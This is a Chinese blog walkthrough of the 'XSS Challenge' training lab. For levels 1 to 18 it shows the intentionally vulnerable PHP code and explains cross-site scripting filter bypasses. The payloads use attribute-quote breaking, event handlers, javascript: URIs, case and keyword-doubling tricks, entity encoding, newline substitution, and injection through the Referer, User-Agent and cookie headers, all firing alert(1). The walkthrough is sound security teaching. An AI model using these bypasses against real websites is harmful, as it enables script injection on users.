前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS Challenge通关简单教程

XSS Challenge通关简单教程

作者头像
乌鸦安全
发布2021-08-05 16:39:16
2.1K0
发布2021-08-05 16:39:16
举报
文章被收录于专栏:乌鸦安全乌鸦安全

XSS Challenge简单攻略

Levle1

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这个里面没有对输入的数据做任何的过滤,直接构造payload即可:

代码语言:javascript
复制
payload:name=<script>alert(1)</script>
http://81.69.228.171:666/level1.php?name=<script>alert(1)</script>

Levle2

直接写入:<script>alert(1)</script>,无法弹窗

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
htmlspecialchars($str)用法
代码语言:javascript
复制
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot
' (单引号)成为 '
< (小于)成为 &lt
> (大于)成为 &gt

例如:

代码语言:javascript
复制
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

查看网页源码,第一个位置被发现被实体编码,但是第二个位置或许可以弹窗

法1

当我们写入一个语句的时候,可以发现<img src=1 onerror=alert(1)>被闭合掉了,因此在这里可以尝试先行闭合搜索框之后再弹出xss

  • 正常的搜索
  • 先闭合的搜索

直接弹出

法2

使用鼠标划过输入框,输入之后当鼠标移动到这个位置的时候,即可弹出

代码语言:javascript
复制
" onmouseover=alert(1)>

法3

或者使用鼠标点击搜索框

代码语言:javascript
复制
  " onclick=alert(1)>

补充知识:js注释符

在js中一共有三种注释方式

  • 多行注释
代码语言:javascript
复制
/*
hacked  by crow
*/

单行注释

代码语言:javascript
复制
//
// hack by crow
代码语言:javascript
复制
<!-
<!-  hack by crow  这种注释容用混淆,因此一般不推荐使用

Level3

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这里面上下都使用了htmlspecialchars()函数,但是它未对单引号进行转义,因此可以使用单引号进行测试

代码语言:javascript
复制
<?php
$str1 = "\"";
$str2 = "& ";
$str3 = " '  ";
$str4 = " <   ";
$str5 = " >  ";

echo htmlspecialchars($str1);
echo '          ';
echo htmlspecialchars($str2);
echo '          ';
echo htmlspecialchars($str3);
echo '          ';
echo htmlspecialchars($str4);
echo '          ';
echo htmlspecialchars($str5);
?>

直接在输入框内输入

代码语言:javascript
复制
"><script>alert(1)</script><"

虽然发现闭合,但无法弹窗

发现双引号都被闭合掉了,这里使用单引号进行尝试,但是<>均被转义,因此需要替换方法

这里有一个坑:如果没有鼠标右键查看网页源代码,可能你看网上的教程都看不懂,我在firefox上使用F12只能看到双引号,所以在这里我们可以使用单引号进行绕过,而且要避开<>这符号

代码语言:javascript
复制
' onclick=alert(1)

当我们使用这个payload的时候,当点击的时候没有事件发生,可以分析下此时后面有一个单引号没有被闭合。

所以这里采用注释符进行绕过

法1

代码语言:javascript
复制
' onclick=alert(1) // hacked  by crow
代码语言:javascript
复制
' onclick=alert(1) /* hacked  by crow  */
代码语言:javascript
复制
' onclick=alert(1) <!- hacked  by crow

法2

代码语言:javascript
复制
' onmouseover=alert(1) // hacked  by crow
代码语言:javascript
复制
' onmouseover=alert(1) /* hacked  by crow */
代码语言:javascript
复制
' onmouseover=alert(1) <!- hacked  by crow

当然,这里也可以将单引号闭合进行绕过:

代码语言:javascript
复制
payload1
' onmouseover=alert(1) '
payload2
' onclick= alert(1) '

补充知识

str_replace()函数

  • str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
  • 该函数区分大小写
  • str_ireplace() 函数执行不区分大小写的搜索。

Level4

首先看下代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

从上述可以看出,将< >全部替换为空,而且使用了htmlspecialchars()函数,因此在这里无法使用<>符号,可以使用onclick事件先看下返回如何:

代码语言:javascript
复制
onclick=alert(1)

可以分析知道,可使用双引号将前面的value进行闭合,再注释掉后面的双引号,或者将其闭合均可,因此可构造payload如下:

法1

代码语言:javascript
复制
" onclick=alert(1) "

法2

代码语言:javascript
复制
" onclick=alert(1) // hacked  by crow

法3

代码语言:javascript
复制
" onclick=alert(1) <!- hacked  by crow

法4

代码语言:javascript
复制
" onclick=alert(1) /* hacked  by crow */

法5

代码语言:javascript
复制
" onmouseover=alert(1) "

法6

代码语言:javascript
复制
" onmouseover=alert(1) // hacked  by crow

法7

代码语言:javascript
复制
" onmouseover=alert(1) <!- hacked  by crow

法8

代码语言:javascript
复制
" onmouseover=alert(1) /* hacked  by crow */

补充知识

strtolower()函数

  • 把所有字符转换为小写

Level5

首先看下源码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

代码首先将大小写统一为小写,然后直接过滤了<scripton关键词,这里无法再使用上述的方式,此处没有过滤尖括号,可以使用伪协议来进行构造:

代码语言:javascript
复制
a标签的一种写法<a href="JavaScript:;"></a>

因此构造payload

代码语言:javascript
复制
" ><a href="javascript:alert(1)">

这里需要手动点击下才可以触发:

当然也可以选择直接触发:

代码语言:javascript
复制
"><iframe src=javascript:alert(1)>

Level6

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

从源码中可以看出,能过滤的都过滤了,但是与第5关相比,没有对大小写进行限制,因此使用大小写绕过

代码语言:javascript
复制
" ><a hrEf="javascript:alert(1)">

同样的,也可以使用

代码语言:javascript
复制
"><iframe Src=javascript:alert(1)>

Level7

先看下代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

查看代码得知,str_replac()函数将常用的script on等全部替换为空,因此在这里可以尝试使用包裹关键词的方式进行绕过

代码语言:javascript
复制
" ><a hhrEfref="javascscriptript:alert(1)"> 
"><iframe Ssrcrc=javasscriptcript:alert(1)>

tips:包裹关键词

包裹关键词的时候并不是每一个单词都要进行双写,这里一定要保留一个完整的需要被替换的单词,详情可参照下图:

补充知识:HTML 字符实体

HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。

实体名称对大小写敏感。

HTML字符实体的出现主要是为了解决以下几个问题:

代码语言:javascript
复制
1. 解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析为标签。这时就需要将小于号和大于号写成字符实体:
小于号这样写:&lt; 或 &#60;
大于号这样写:&gt; 或 &#62;
2. 键盘上无法打印的符号
3. 连续的空格
。。。。

Level8

先看下代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

查看代码发现,输入的str先进行小写转换,然后再经过一系列关键字替换:

script on src data href "等均被替换,这里无法使用以上关键词和双引号进行绕过,在这个里面一共有两个输出点,第一个输出点采用了htmlspecialchar()实体化,第二个进行了7次过滤处理

首先尝试使用伪协议进行绕过,查看输出:

代码语言:javascript
复制
javascript:alert(1)

在这里发现确实被替换,因此在这里尝试使用html字符实体进行尝试绕过

在线转换网址:https://www.qqxiuzi.cn/bianma/zifushiti.php

代码语言:javascript
复制
payload1: javascript:alert(1)
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

当然还可以对script中的任意字母进行编码,比如对s进行编码,从而绕过限制:

代码语言:javascript
复制
payload2:java&#x73;cript:alert(1)

也可以使用Tab键和回车键进行编码来绕过:

代码语言:javascript
复制
javascrip&#x09;t:alert(1) 
javascrip&#x0a;t:alert(1)

详细信息可以参考:https://www.w3school.com.cn/tags/html_ref_entities.html

Level9

首先看下代码:

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

通过源代码可以知道,首先对输入的字符串进行过滤处理,在最后一步的时候判断是否存在http://,如果不存在,则直接判定为非法操作,因此在这里可以通过注释符的方式添加进来进行绕过即可

当输入

代码语言:javascript
复制
javascrip&#x09;t:alert(1)

此时将上述的payload加上注释

代码语言:javascript
复制
javascrip&#x09;t:alert(1) // http://

当然也可以使用Level8中的payload进行测试,只需要在后面加上注释符和http://即可,在这里不再进行测试

Level10

首先看下源代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源码可以发现,需要传入的有两个参数,一个是keyword,另外一个是t_sort。而且过滤了<>,页面中还隐藏了三个元素,并且前两个将值替换为空,最后一个值也是过滤了尖括号之后的结果,因此首先尝试进行构造一个最基础的payload查看返回信息:

代码语言:javascript
复制
<script>alert(1)</script>

在这里看到t_sort的部分中尖括号确实被过滤了,尝试绕过

代码语言:javascript
复制
payload:
" type="password" onclick=alert(1) //
完整的payload:
keyword=hacked by crow&t_sort=" type="text" onclick=alert(1) //
其中//属于必须要的注释符,可以使用其他的注释符进行替换也可

当然还可以使用其他的方式来做,都是可以的

代码语言:javascript
复制
payload2:
keyword=hacked by crow&t_sort=" type="text" onmouseover=alert(1)  //
当鼠标移到该位置的时候,就会触发

Level11

首先看下代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从源代码可以看到,这里面对输入的keyword和t_sort进行了关键词过滤,但是对于str11到str33,过滤了尖括号,先随意输入数据查看下源代码:

代码语言:javascript
复制
keyword=hacked by crow & t_sort= <script>alert(1)</script>

在这里$str11接收的是HTTP_REFERER中的内容,因此在hackbar或burpsuite中定义下HTTP_REFERER中的内容:

在这里就可以看到,过滤了尖括号,这个就和上面的关卡比较像了,可以直接构造:

代码语言:javascript
复制
payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //
//  tips:需要在referer中进行构造

Level12

查看下源代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源代码可知,与Level11很像,只不过是将HTTP_REFERER替换为HTTP_USER_AGENT,因此可以利用hackbar等工具直接替换即可:

代码语言:javascript
复制
payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在user-agent中进行构造

Level13

首先看下源代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

其实和Level11-Level12一样,只不过这里需要指定cookie的值,因此可以如下构造:

代码语言:javascript
复制
payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //

// tips:需要在cookies中进行构造

补充知识:Exif xss

什么是exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

在Windows下可以直接右键修改这些属性,有些网站可以读取exif信息,当传入一张含有恶意信息的图片的时候,就可以触发payload

Level14

首先看下代码

代码语言:javascript
复制
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

其实这关的意思就是跳转到一个能够读取exif信息的网站,但是这个网站存在eixf xss漏洞,因此可以直接触发xss,所以只要将src后面的网址进行替换到一个有这样漏洞的网站即可。

比如:http://www.exifdata.com/exif.php

Level15

首先看下源码

代码语言:javascript
复制
<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

安哥拉js

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

因此可以直接进行构造:

代码语言:javascript
复制
src='level1.php?name=<img src=1 onerror=alert(1)>'

Level16

首先看下源码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

从代码中可以看到,script等均被替换为空格符号,但是这里没有过滤尖括号,因此可以想到使用尖括号进行绕过

代码语言:javascript
复制
<img src=1 onerror=alert(1)>

但是这里又存在一个问题,空格被替换为空格符号

这里面可以使用换行符%0a来替换空格:

代码语言:javascript
复制
<img%0asrc=1 %0aonerror=alert(1)>

当然,这里还可以使用其他的符号,比如回车符号%0d

代码语言:javascript
复制
<img%0dsrc=1 %0donerror=alert(1)>

Level17

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

通过源代码和最基础的xss反弹代码发现,arg01和arg02的参数在处理之后进行了拼接

而htmlspecialchars()函数会将输入的数据变成html实体,过滤了尖口号和双引号,在这里可以尝试使用其他的进行绕过

代码语言:javascript
复制
?arg01=a&arg02= onmouseover=alert(1)

在arg02参数后面有一个空格,不然就是将属性与之前的xsf01.swf?进行连接了

Level18

查看下源代码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

这一关和Level17代码基本相同,只不过换了一个图片而已,因此可以使用上一关的代码进行绕过

代码语言:javascript
复制
?arg01=a&arg02= onmouseover=alert(1)

Level19

Level20

主要是因为目前flash技术全面停止使用,因此在这里不再讲解这类技术(主要是不会)

笔记完整版:

https://github.com/crow821/crowsec

对应视频:

https://www.bilibili.com/video/BV1A54y1e7JM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-02-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • XSS Challenge简单攻略
  • Levle1
    • Levle2
      • 法1
      • 法2
      • 法3
    • 补充知识:js注释符
      • Level3
        • 法1
        • 法2
      • 补充知识
        • Level4
          • 法1
          • 法2
          • 法3
          • 法4
          • 法5
          • 法6
          • 法7
          • 法8
        • 补充知识
          • Level5
            • Level6
              • Level7
                • tips:包裹关键词
              • 补充知识:HTML 字符实体
                • Level8
                  • Level9
                    • Level10
                      • Level11
                        • Level12
                          • Level13
                            • 补充知识:Exif xss
                              • Level14
                                • Level15
                                  • Level16
                                    • Level17
                                      • Level18
                                        • Level19
                                          • Level20
                                          领券
                                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档